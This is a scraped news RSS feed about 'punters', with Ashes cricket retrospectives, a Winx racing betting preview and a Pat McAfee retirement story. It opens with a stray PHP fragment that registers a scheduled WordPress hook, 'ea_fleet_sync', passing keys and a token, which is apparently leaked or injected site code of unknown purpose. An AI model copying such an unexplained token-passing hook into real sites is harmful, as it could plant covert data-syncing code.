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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); punter – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 01 Jan 2018 00:16:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png punter – Brief News https://briefnews.eu 32 32 Eagles punter Donnie Jones rocks up in sweatpants https://briefnews.eu/eagles-punter-donnie-jones-rocks-up-in-sweatpants/ https://briefnews.eu/eagles-punter-donnie-jones-rocks-up-in-sweatpants/#respond Mon, 01 Jan 2018 00:16:51 +0000 http://briefnews.eu/eagles-punter-donnie-jones-rocks-up-in-sweatpants/

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]]> https://briefnews.eu/eagles-punter-donnie-jones-rocks-up-in-sweatpants/feed/ 0 When Punter had revenge in mind https://briefnews.eu/when-punter-had-revenge-in-mind/ https://briefnews.eu/when-punter-had-revenge-in-mind/#respond Thu, 26 Oct 2017 20:42:10 +0000 http://briefnews.eu/when-punter-had-revenge-in-mind/ AUSTRALIA and England resume Ashes hostilities at the Gabba at the end of November.

And to countdown to that first ball being bowled we will be trawling through the rich history of the oldest and most fiercely contested rivalry in international sport each day between now and then.

With only 27 days to go until Steve Smith’s men embark on their task of reclaiming the little urn, we remember an Australian captain’s emphatic response to a shock series defeat.

REPLAY: Days 50-41 from our Ashes Countdown

REPLAY: Days 40-31 from our Ashes Countdown

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The only thing Ricky Ponting hates more than England is losing to England.

So when he became the first Australian captain to lose an Ashes series in 18 years, the legendary No. 3 carried the disappointment of a nation solely on his shoulders.

Test legend Dennis Lillee even called for Ponting to relinquish the captaincy, saying at the time: “If Australia want to regain the Ashes they would dramatically improve their chances by appointing Shane Warne as captain.”

But instead of burying his head in the sand, Ponting went about planning his revenge on England the only way he knew how — scoring runs.

By the first ball of the 2006-07 series, Ponting was ready for England after arming himself with a mountain of runs. England would pay for his humiliation.

After winning the toss and electing to bat on a beautiful Gabba deck, when Matthew Hayden fell for 21, Ponting soon found himself in the middle and the forthcoming innings would lay the perfect foundation for his redemption.

It was classic Punter; straight drives, on drives, pulls, hooks and cover drives. No England bowler was safe.

“Don’t bowl short to Ricky Ponting” the commentary team bellowed incredulously from the Channel Nine box as the skipper dispatched another short ball to the fence. Ponting would go on the score 196 and 60 (no) in the Test, including 27 boundaries, and was named Man of the Series after plundering 576 runs at 82.28. Revenge was best served on a scorching Brisbane day for Ricky Ponting.

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Ian Botham’s legend was born in the 1981 Ashes series. One of the greatest all-rounders — if not cricketers — of all time single-handedly destroyed Australia with bat and ball.

Although Edgbaston will forever play second fiddle to England and Botham’s heroics in Headingley in the previous Test, Beefy’s spell in Birmingham mesmerised England fans and terrorised Australia’s batsmen and remains one of the greatest fast bowling performances in Ashes history.

Australia’s bowlers — led by Dennis Lillee and Terry Alderman — had done a job on England’s star-studded batting line-up, rolling the hosts for 189 and 219. The tourists were set 151 for victory on a flat deck that had offered as much spark as an electrician at smoko. An easy proposition, right?

Despite a steady fall of wickets, Australia was closing in on England’s total thanks to a 175-ball 40 from future skipper Allan Border. But it was Border’s wicket that would change the course of the match with England captain Mike Brearley calling on a diffident Botham to support John Emburey at the other. Surely Botham couldn’t repeat his Headingley heroics could he?

Having taken just one wicket in the second innings, Botham’s next 28 delivers would reap five wickets for just one run to hand England a 2-1 series lead.

Spitting more venom than Birmingham boy Mike Skinner, Botham had conjured black magic on a pitch protected by Saint Peter — something Lillee, Alderman, Emburey and Bob Willis had failed to do.

Beefy rocked Rod Marsh’s castle before trapping Ray Bright the very next ball. Lillee survived the hat-trick ball but was soon back in the pavilion after feathering one behind the stumps. Martin Kemp and Alderman soon followed as Botham snatched a stump and no doubt a beer or three.

Rich Lamberton

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Day two of the fourth Ashes Test at Headingley in 1997 had a little bit of everything; hard-as-nails Yorkshiremen drinking warm pints in their Sunday best (nothing new), two Ashes debutants standing tall for Australia — but it was one dropped chance that stands out in the people’s minds and consigned the Test career of the bowler to the doldrums.

After a poor opening day with the willow, England’s bowlers had Australia on the ropes at four for 50.

With Mark Taylor, Greg Blewett and the Waugh brothers back in the pavilion, Darren Gough and Co were snarling at the two Ashes debutants at the crease, Matthew Elliott and a fresh-faced Ricky Ponting.

What happened next changed the course of the match and, ultimately, the series.

With Elliott batting on 29, England’s own debutant, Mike Smith, a left-arm, fast-medium seamer, charged in, cramping the Aussie left-hander for room with a short ball. The ball lollied off Elliott’s edge and made a beeline for Graham Thorpe at second slip. At optimum catching height, Thorpe raised his hands to snare the dolly — silence. The bleary eyes of the Western Terrace could not process what had happened. Thorpe had just dropped the Ashes.

Elliott was given a life. A life he made the most of. What should have been a scoreless partnership with Ponting turned into 268 runs of pain for England.

Elliott would go on to make 199 in one of the most famous knocks in Ashes history, steering Australia to an innings victory that turned the series on its head.

As for poor old Mike Smith, well, he never played another Test match for his country. Thanks, Thorpey.

Rich Lamberton

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LORD’S was a happy hunting ground for Glenn McGrath. In his three Tests there he took 26 wickets, including his famous 8/38 in his first Test at the ground, in 1997.

Eight years later, in what was an ill-fated series for him, McGrath took five wickets in a 30 ball spell at the cost of just two runs, that rocked England in the first Test at Lord’s.

Australia was defending a first innings total of 190 which England must have fancied was very gettable.

McGrath had other ideas.

In the first ball after tea, McGrath claimed his 500th Test wicket, snaring Marcus Trescothick at slip for four.

Andrew Strauss followed shortly afterwards, again caught at slip, for two.

When captain Michael Vaughan had his off stump removed for three to leave England reeling at 3-18, it was clear something very special was afoot.

“This is a super contest and McGrath — I don’t think I’ve ever seen him bowl a better spell, “ said Richie Benaud in commentary.

More was to come.

Ian Bell clipped an inside edge onto his stumps to depart for six and shortly afterwards Andrew Flintoff was gone for a duck after a lovely delivery from McGrath arrowed in to send his off stump horizontal.

McGrath’s five wickets came in the space of five overs. England battled gamely to a first innings total of 155 but the damage had already been done.

McGrath’s figures for the first innings were 5/53 off 18 overs and he followed that up with 4/29 off 17.1 overs and was named player of the match as Australia won the Test by 239 runs.

“I couldn’t have hoped for a better opening start to the Ashes series, and for me personally that first spell was probably up there with the best spells I have ever bowled,” McGrath said.

Unfortunately, for both McGrath and Australia, the 2005 Ashes series falls firmly in the category of ‘what might have been’. The paceman stood on a ball in the warm-up to the second Test at Edgbaston and was ruled out with damaged ankle ligaments. He returned for the third Test but missed the fourth with an elbow injury. England won the series 2-1.

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SYDNEY, AUSTRALIA — APRIL 01: Hugh Bowman riding ‘Winx’ take part in an exhibition gallop at The Championships Day 1 at Royal Randwick Racecourse on April 1, 2017 in Sydney, Australia. (Photo by Jason McCawley/Getty Images for The ATC)

RAY THOMASThe Daily Telegraph

CHAMPION mare Winx might be at prohibitive odds but that hasn’t stopped one punter investing a cool $ 300,000 at $ 1.12 with TAB Fixed Odds on the mighty mare to win the $ 4 million Longines Queen Elizabeth Stakes at Royal Randwick on Saturday.

Winx had been $ 1.08 for most of the week but eased to $ 1.10 on Friday but there was very little betting activity. When TAB Fixed Odds price assessors eased Winx out to $ 1.12, the punter stepped into with his massive wager to win $ 36,000 on Winx.

LIVE COVERAGE FROM 10AM SATURDAY: CAN WINX MAKE IT 17 IN A ROW?

Winx, aiming for her 17th successive in the Queen Elizabeth Stakes, was rated at $ 1.10 in overnight betting on the big race.

The big bet betters the $ 75,000 at $ 1.10 taken against the mare earlier in the week.

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These are the two biggest bets TAB has accepted on Winx during her celebrated winning streak. The others include $ 67,500 at $ 1.15 on her through TAB for the George Ryder Stakes three weeks ago at Rosehill and the $ 45,000 at $ 1.75 wager for the Cox Plate last October.

Winx’s odds are into $ 1.08 for the race but TAB has reported that hasn’t deterred punters from continuing to back the mare with bets of $ 14,000, $ 9,000 and $ 2,500 at those odds.

One punter has thrown $ 300,000 on Winx to win $ 36,000 on Saturday.

One punter has thrown $ 300,000 on Winx to win $ 36,000 on Saturday.Source:Getty Images

The shortest Winx has started was in the George Main Stakes last spring when she went to the post at $ 1.09. If Winx remains at her current odds for the Queen Elizabeth Stakes, she will be the shortest favourite in a Sydney Group 1 race since Valerius lined up at $ 1.03 (33/1 on) when he won 1961 Chipping Norton Stakes.

Winx is such a dominant favourite that there has been very little betting activity on her rivals. The exception is Winx’s old rival Hartnell, the $ 11 second favourite, with one punter wagering a place bet of $ 10,000 at $ 1.50.

THE BARRIERS

The best winning barriers at Royal Randwick for the last three years.

(In order of most wins)

1200m: 6, 4, 2, 3

1400m: 2, 1, 6, 4

1600m: 8, 4, 6, 1

2000m: 5, 4, 1, 6

2400m: 5, 1, 4, 7

3200m: 11, 2, 4, 8

MONEY TRAIN: AUTUMN BETTING TRACKER

TAB BIG BETS

Race 1: Muraahib $ 4.20 unchanged with a $ 1,000 at $ 4.20.

Race 2: Apiata $ 26-$ 21

Race 3: Almanzora $ 3 unchanged with $ 1,000 at $ 3.

Race 4: Better Not Blue $ 10-$ 9.50, Pomelo $ 3.50-$ 3-$ 2.80 with $ 2,000 at $ 3.50, $ 1,700 at $ 3.50, $ 1,200 at $ 3.40, $ 500 at $ 3.40 twice. $ 5,000 at $ 3.

Race 5: Defcon $ 26-$ 21, Derryn $ 9-$ 9.50-$ 10 including $ 2,000 e/w at $ 9/$ 2.82, Global Glamour $ 4-$ 3.20 with bets of $ 4,000 at $ 3.80, $ 4,000 at $ 3.50.

Race 6: Bonneval $ 4-$ 4.20-$ 4 including a bet of $ 9,300 at $ 4.20, Nurse Kitchen $ 6-$ 5.50 with bets of $ 1,000 at $ 6, $ 416 at $ 6, $ 500 e/w at $ 6/$ 2.14 twice, Wheal Leisure $ 51-$ 41.

Race 7: Hartnell $ 11 unchanged with a $ 10,000 wager at $ 1.50 place, Winx $ 1.10-$ 1.08-$ 1.10 with bets of $ 300,000 at $ 1.12, $ 75,000 at $ 1.10, $ 14,000 at $ 1.08, $ 9,000 at $ 1.08, $ 2,500 at $ 1.08, The United States $ 15-$ 21.

Race 8: Almoonqith $ 51-$ 26, Tally $ 15-$ 14, Big Duke $ 2.80-$ 2.70 with bets of $ 2,000 at $ 2.80, $ 1,000 at $ 2.80, Penglai Pavilion $ 9-$ 10-$ 9.50 with bets of $ 500 at $ 10 twice, $ 400 at $ 10.

Race 9: Silent Sedition $ 4.60-$ 4.80-$ 4.60 with a $ 1,800 wager at $ 4.80.

Race 10: Tycoon Tara $ 7-$ 6, Artistry $ 9-$ 8.50-$ 8, Secret Agenda $ 14-$ 13

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EARLY QUADDIE

Race 3: 3, 4, 6

Race 4: 2, 5, 9, 14

Race 5, 2, 5

Race 6: 1, 3, 4, 9

Suggested bet $ 20

Bet percentage: 20.83%

QUADDIE

Race 7: 9

Race 8: 1, 5, 7, 11

Race 9: 6, 17

Race 10: 1, 10, 11

Suggested bet: $ 20

Bet percentage: 83.33%

PRICE CHECK

Impending (race five) is a top-class three-year-old who won the Stan Fox Stakes and was placed in the Golden Rose last spring. He has been competitive without winning in three runs this autumn, including his closing third to Jungle Edge in the Star Kingdom Stakes on a very heavy track at Rosehill two weeks ago. Talented colt suited back against his own age at level weights. He looks very good value at $ 9.50.

TRIAL POINTERS

Shazee Lee (race four) is a Scott Singleton-trained mare that has the services of champion jockey Damien Oliver in the $ 400,000 Provincial Championships Final. Her win in the Qualifier at home at Hawkesbury was a barnstorming one. She’s been kept up to scratch with a an easy trial at Randwick and was motoring late under her own steam.

Spright (race five) had excuses for her uncustomary below-par performance in the Surround Stakes at her most recent outing on February 25. The Garry Frazer-trained stakeswinner was absolutely fabulous in her trial at Hawkesbury on March 28, where she rushed past her rivals to win by almost two lengths, showing that kind of acceleration that won her the Brian Crowley and G3 Red Roses last campaign. Stick with her.

WORK WHISPERS

Heavens Above (race nine) is a high-class mare who chalked up a well deserved Group 1 in the Coolmore Classic on March 11. The Tim Martin-trained mare has a chance to add a second ‘major’ in the Coolmore Legacy, formerly known as the Queen of the Turf. The Reg Kemister-owned and bred daughter of Street Cry has been impressive in her work at Rosehill, including that 1000m gallop on Tuesday timed in 1:14.25s, last 600m in 40.37s and a final 200m in 12.88s.

Heavens Above, right, has trained on well since winning the Coolmore Classic.

Heavens Above, right, has trained on well since winning the Coolmore Classic.Source:AAP

Tycoon Tara (race 10) is having her first run since finishing a close second to star mare First Seal in a G2 at Caulfield on October 15. The Peter and Paul Snowden-trained mare boasts a tremendous first-up record of 6s 2-0-2, one of those wins was at the expense of Rebel Dane in the Missile Stakes on a heavy track. Tycoon Tara was partnered by stablemate Defcon in an 800m gallop on Tuesday with the pair clocked in 55.41s, last 400m in 24.54s. Nice work from a quality mare.

THE BEST BET

Dixie Blossoms (race nine) was ridden conservatively from a wide barrier and had to come from last when a fast-finishing third to Zanbagh in the Emancipation Stakes at Rosehill two weeks ago. She had no luck in the Coolmore Classic at her previous run, either. Dixie Blossoms is back on her home track where she excels and the rain-affected track also suits. She has drawn awkwardly again but the Randwick 1600m start is a very fair one. Stick with her.

EACH WAY

Heavenly Anna (race four) ran a blinder when resuming, coming from 15th on the turn to run second behind the flying Pomelo in a 1200m qualifier at Rosehill. She was beaten more than two lengths by Pomelo but was closing rapidly on the line. Pomelo is the $ 2.80 favourite while Heavenly Anna is $ 23. The disparity between the two mares is not that great. Heavenly Anna goes well second up and getting out to 1400m at Randwick will suit her. Tough race but she is over the odds.

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THE JUDGMENT

ROYAL RANDWICK

RACE 6: ATC AUSTRALIAN OAKS (2400m)

Andrew Forsman (co-trainer) Bonneval: “She’s very good. Really the main thing was to try to win Filly of the Year and the (NZ) Oaks. They were her autumn targets and I guess this would be the icing on the cake. We thought it looked like the race was dropping away a bit so we thought it was worth taking her over and having a go.”

Mandy Brown (trainer) La Bella Diosa: “Her work on Tuesday and her recovery was brilliant, the best it’s been since the Coolmore. The humidity settling down has also helped her as well. We’re going into it probably still with a question mark over our filly. Is she a stayer or not? Hopefully that question will be answered (Saturday).’’

Glenn Munsie (TAB): “A real Australia v NZ challenge awaits here. Vinery form v NZ Oaks with the wildcard being Lasqueti Spirit who has taken an open company via the wfa path. Nurse Kitchen appeals as the one with upside from the Vinery as she pushes out to 2400m for the first time. Came down centre of track in Vinery and is much better with edge off track as she’ll get in this. Lasqueti Spirit has to be respected with some tough runs to fit her for this while Kiwi pair are right up there.’’

Grant Palmer (bookie): “We like Nurse Kitchen, she arguably should’ve won the Vinery and raced like she will appreciate the step-up in trip. We are keen to take on Bonneval, the only start she raced clockwise she didn’t look comfortable and the opposition she has beaten is questionable.’’

Blake Johnston (bookie): “Nurse Kitchen had the best late splits of the day in the Vinery and she looks ready made for the extra distance. With any luck from the draw she is the one to beat.’’

Terry Kennedy (Sky Sports Radio): “I can’t wait for Lasqueti Spirit to take off and set the pace. Race should pan out beautifully for Nurse Kitchen, who’s sectionals last start in the Vinery were enormous — she’ll do me.’’

Verdict: NURSE KITCHEN

Sydney Cup contender Penglai Pavilion has form around some world-class gallopers in Europe. Picture. Phil Hillyard

Sydney Cup contender Penglai Pavilion has form around some world-class gallopers in Europe. Picture. Phil HillyardSource:News Corp Australia

RACE 7: QUEEN ELIZABETH STAKES (1200m)

John O’Shea (trainer) Hartnell: “We’re very happy, he’s been set for one race and he really looks to be coming to a nice peak. Most importantly for him, gate one is a nice gate because if you go back to his Turnbull Stakes performance where he rolled along, he should be able to get some cover and box seat. Obviously, he’ll have to take on Winx, but Hartnell will run the best race of his preparation.’’

Chris Waller (trainer) Winx: “She has had three races this autumn, it has been a trouble-free run so far and she will be very hard to beat. She is in great form and we are hoping she can win again. With only nine runners there is less traffic congestion. “We know Hartnell very well and he is probably the benchmark but you never know where the next good horse is coming from.’’

Glenn Munsie (TAB): “Winx lines up for consecutive win number 17 the way she has destroyed her position this time in surely it’s another procession coming up. Just get out to Randwick and take it all in. If you can’t get there watch it on Sky. Happy Clapper is gallant and ran well when chasing Lucia Valentina last year off a similar Doncaster effort to last week. Exospheric the roughie after some nice work Tuesday morning.’’

Grant Palmer (bookie): “Winx. If they get within 3 lengths of the mighty mare then they would’ve run out of their skins!’’

Blake Johnston (bookie): “The winning margins of Winx is absolutely astonishing considering her opposition. Winx will win but Harlem could be the value for the exacta.’’

Terry Kennedy (Sky Sports Radio): “I’ll be on my feet and cheering Winx, roll on 17 straight wins.’’

Verdict: WINX

RACE 8: SYDNEY CUP (3200m)

Mike Moroney (trainer) Mister Impatience, Vengeur Masque: “Vengeur Masque is probably the pick of the two. He’s had a good preparation with the aim to get him to the Sydney Cup at his best. He’s just kept improving. He’s unproven at two miles but he races like he would get it and he is certainly bred to. Mister Impatience is just a real two-miler. He is also proven on wet ground.’’

Darren Weir (trainer) Big Duke: “I guess he might have taken bigger steps than we sort of thought in this preparation. Everything we’ve put him in, he’s run well. It’s just nice to have him in a good race and the end of a good prep.”

Glenn Munsie (TAB): “Godolphin pair Tally and import Penglai Pavillion for me. Tally gets to 3200m for the first time but has strong form at 2400/2500m. Better record on wet than dry and certainly appeals at odds. Penglai Pavillion is trained by Charlie Appelby, who took all before him with his stayers in the spring and comes here with solid UK form. By all reports has trained on well in quarantine at Canterbury. Winner up to 4200m who likes to roll along which is no minus in a staying race.’’

Grant Palmer (bookie): “Who Shot Thebarman has been set for this and will peak fourth up, he only needs to replicate his gallant fifth in the Melbourne Cup to be featuring prominently. Big watch on Charlie Appleby’s pair, Penglai Pavillion & Polarisation, who will both appreciate the sting out of the track.’’

Blake Johnston (bookie): “Penglai Pavilion has form around some world class gallopers and represents value. Both of the Appleby runners look very dangerous.’’

Terry Kennedy (Sky Sports Radio): “Godolphin’s Charlie Appleby proved during the Spring, he and his horses have what it takes to win here. Penglai Pavilion is the fresh horse from Europe who’ll stay all day. Tally for the quinella at big odds.’’

Verdict: PENGLAI PAVILION

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Indianapolis Colts punter Pat McAfee announced on Thursday that he’s retiring from the NFL to pursue an unlikely second job — he’s joining Barstool Sports.

The 29-year-old said in a Twitter announcement that because he’s facing a third knee surgery in four years, with more to come, he decided to take Barstool up on an offer to join the company.

However, McAfee still hasn’t made the retirement official with the NFL. In fact, in an interview on “The Dan Patrick Show,” McAfee said he hadn’t filed his paperwork because he had to Google how, exactly, to retire.

“I don’t even know how you would — I actually was Googling this morning ‘How do I actually retire from the NFL,'” McAfee said. “I don’t know what to do. But I think I have to get the papers signed and then get to work.”

To join Barstool, McAfee is walking away from a $ 2.8 million salary in 2017 and may have to return $ 400,000 from his signing bonus. However, he said in his statement that he insisted on staying in Indianapolis and will have his own headquarters with a fully functioning studio for radio and TV.

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